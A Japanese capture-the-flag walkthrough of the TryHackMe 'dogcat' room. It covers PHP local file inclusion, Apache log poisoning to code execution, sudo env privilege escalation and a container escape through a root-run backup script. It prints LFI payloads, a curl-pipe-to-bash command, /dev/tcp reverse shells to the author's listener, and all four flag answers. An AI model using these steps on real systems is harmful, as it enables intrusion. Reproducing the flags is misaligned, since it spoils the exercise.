【TryHackMe】dogcat：Walkthrough

# 概要

TryHackMe「dogcat」のWalkthroughです。

https://tryhackme.com/r/room/dogcat

# Task1

## **Q1**.*What is flag 1?*

**Hint**.*There's more to *view* than just cats and dogs...*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.21.15 -oN nmap_result
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp    open     http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache/2.4.38|

`80`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e010b677-7be8-b44e-69c5-d4da1d712f31.png)

`A dog`,`A cat`ボタンをそれぞれ押すことで、犬猫の画像が表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/72112763-b071-c96b-d3cc-66c20ee35516.png)

犬の画像は`dogs`配下から取得しているようです。
`/?view=./dog`の様な値でも正常に動作しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3e292067-ed69-54c0-697b-ea491d7ec2e5.png)

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.21.15

[06:05:41] 200 -    0B  - /flag.php
```

ソースコードの中は見られませんが`flag.php`を発見しました。

さらに別の辞書ファイルを使用してスキャンします。

```
$ dirsearch -u http://10.10.21.15 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

[06:08:29] 301 -  309B  - /cats  ->  http://10.10.21.15/cats/
[06:08:46] 301 -  309B  - /dogs  ->  http://10.10.21.15/dogs/
```

`?view=cats`でリクエストを送信すると、エラー文からPHPの`include()`関数でページを読み込んでいると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fddf2e31-b091-15d3-060d-6cf83adac68e.png)

LFIができそうです。

PHP Filter Base64 encodeのテクニックを使用してindex.phpのソースコードを取得できました。

```
/?view=php://filter/convert.base64-encode/resource=./dog/../index
```

https://book.hacktricks.xyz/ja/pentesting-web/file-inclusion#php-filter

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/13945d20-1fab-cc3f-7f8d-222f5df2f4f3.png)

```index.php
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>
```

`ext`パラメータがない場合は`.php`拡張子を自動で追加しています。

```index.php
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
```

`view`パラメータに`dog`か`cat`の文字列が入っている必要があります。

```index.php
 if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
    echo 'Here you go!';
    include $_GET['view'] . $ext;
}
```

同様の手法で先ほど発見した`flag.php`を取得します。

```
/?view=php://filter/convert.base64-encode/resource=./dog/../flag
```

一つ目のフラグを得られました。

```flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
```

**A**.**THM{Th1s_1s_N0t_4_Catdog_ab67edfa}**

## **Q2**.*What is flag 2?*

LFiからのRCEテクニックとしてApacheなどのログポイズニングがあります。
User-AgentなどにPHPのソースコードを埋め込み、LFIを悪用してログファイルを読み込み実行させます。

https://book.hacktricks.xyz/ja/pentesting-web/file-inclusion#apachenginxrogufairu

LFIでログファイルを読み込めるパラメータをBurpでファジングします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/733fe764-643b-41f5-6b6f-aaea56aae3ce.png)

`./dog/../../../../../../../var/log/apache2/access.log&ext=`でApacheのアクセスログを表示できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4d0c80c5-803e-c82d-d9c4-667667560b31.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c5b2d9ae-0118-3e86-9701-6f6ff8d8e140.png)

User-AgentにRCEのペイロードを挿入しリクエストを送信します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/faa3fcce-f1e0-0e85-0657-1009ad4d9ebe.png)

試しに`whoami`コマンドで確認すると確かに実行されています。

```
$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=whoami"

(省略)

10.6.55.144 - - [16/Dec/2024:13:21:28 +0000] "GET / HTTP/1.1" 200 500 "-" "www-data"
```

リバースシェルファイルを作成しターゲットマシンにアクセスさせます。

```
$ curl "http://10.10.92.70/?view=./dog/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2flog%2fapache2%2faccess%2elog&ext&c=curl+http://10.6.55.144/shell.sh|bash
```

実行させることでリバースシェルを張れました。

```
$ nc -lvnp 1234                                       
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 40376
sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

ホスト名からDockerコンテナ内だと分かりました。

```
$ hostname
2a6fc154f2bf
```

`sudo -l`で確認すると`env`コマンドが許可されています。

```
$ sudo -l
sudo -l
Matching Defaults entries for www-data on 330ab76b16f3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 330ab76b16f3:
    (root) NOPASSWD: /usr/bin/env
```

GTFOBinsで権限昇格のテクニックが見つかりました。

https://gtfobins.github.io/gtfobins/env/#sudo

rootに昇格出来ました。

```
$ sudo /usr/bin/env /bin/sh
sudo /usr/bin/env /bin/sh
whoami
root
```

フラグファイルを検索するとフラグ3まで見つかりました。

```
find / -name *flag* 2>/dev/null

/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/root/flag3.txt
```

`/var/www/flag2_QMW7JvaY2LvK.txt`からフラグ2を入手できました。

```
cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}
```

**A**.**THM{LF1_t0_RC3_aec3fb}**

## **Q3**.*What is flag 3?*

`/root/flag3.txt`からフラグ3を取得できました。

```
cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
```

**A**.**THM{D1ff3r3nt_3nv1ronments_874112}**

## **Q4**.*What is flag 4?*

`/opt/backups/backup.sh`を確認するとtarコマンドでバックアップを取っていることが分かります。

```/opt/backups/backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

ここにリバースシェルコードを仕込みます。

```
echo "bash -c 'bash -i >& /dev/tcp/10.6.55.144/12345 0>&1'" >> backup.sh
```

Netcatでリッスンしているとコンテナを抜けてrootを取得できました。

```
$ nc -lvnp 12345                                      
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.64.133] 33606
bash: cannot set terminal process group (8478): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root
```

`/root/flag4.txt`からフラグ4を入手できました。

```
# cat /root/flag4.txt
cat /root/flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
```

rootのプロセスを確認すると定期的にコンテナ内の`backup.sh`を実行していました。

```
CMD: UID=0     PID=8722   | /bin/bash /root/container/backup/backup.sh
```

**A**.**THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}**